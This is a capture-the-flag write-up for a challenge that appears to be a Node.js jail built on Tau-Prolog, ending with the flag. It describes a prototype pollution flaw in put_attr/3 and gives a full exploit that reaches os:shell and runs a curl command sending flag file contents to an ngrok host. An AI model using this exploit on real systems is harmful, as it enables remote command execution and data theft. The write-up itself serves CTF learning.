Description
Escape from prolog! note: The container takes a few minutes to start.
Hint drop ~03:00 07 Jan 2025 UTC:
Do you notice something here?
https://github.com/tau-prolog/tau-prolog/blob/5bd606a255910d8e34ff1d721e80969af294b64c/modules/core.js#L3397
Attachments
http://155.248.210.243:42145
https://cybersharing.net/s/9f23d453a0539516b0910e92b19e874a
Writeup
I'm sorry for all the prolog lovers - this is actually a node jail.
Tau-prolog has a prototype pollution vulnerability in put_attr/3
. (Source code). You can set any field for Object.prototype
, but you can only set Term
class as a value.
By overriding opts.context_module
, you can prepend any string to the next goal string. (Source code) To invoke the code, you also need to pollute other properties to make thread.session.modules[context_module].rules["term_expansion/2"]
and thread.session.modules[context_module].rules["term_expansion/2"].length
not undefined
.
You can use shell/1
to run any shell script, but you can't see the result. Use the curl
command to get the content of flag.txt
.
Here's the full exploit.
cmd = `bash -c "curl https://tchenio.ngrok.io/$(cat flag*)"`
let q = `
:- use_module(library(os)).
`.replaceAll("\n", "").replaceAll(" ", "");
q = `consult(\\'${q}\\').`
q = `
put_attr(__proto__, context_module, '${q}%').
put_attr(__proto__, '${q}%', x).
put_attr(__proto__, rules, x).
put_attr(__proto__, modules, x).
put_attr(__proto__, 'term_expansion/2', x).
put_attr(__proto__, 'X', :-(:('${q}%',flag(X)),os:shell('${cmd}'))).
put_attr(__proto__, length, 3).
`.replaceAll("\n", "");
console.log(q)
Flag
ictf{tata-tautau-tatata-tautau-tatautatau!!!}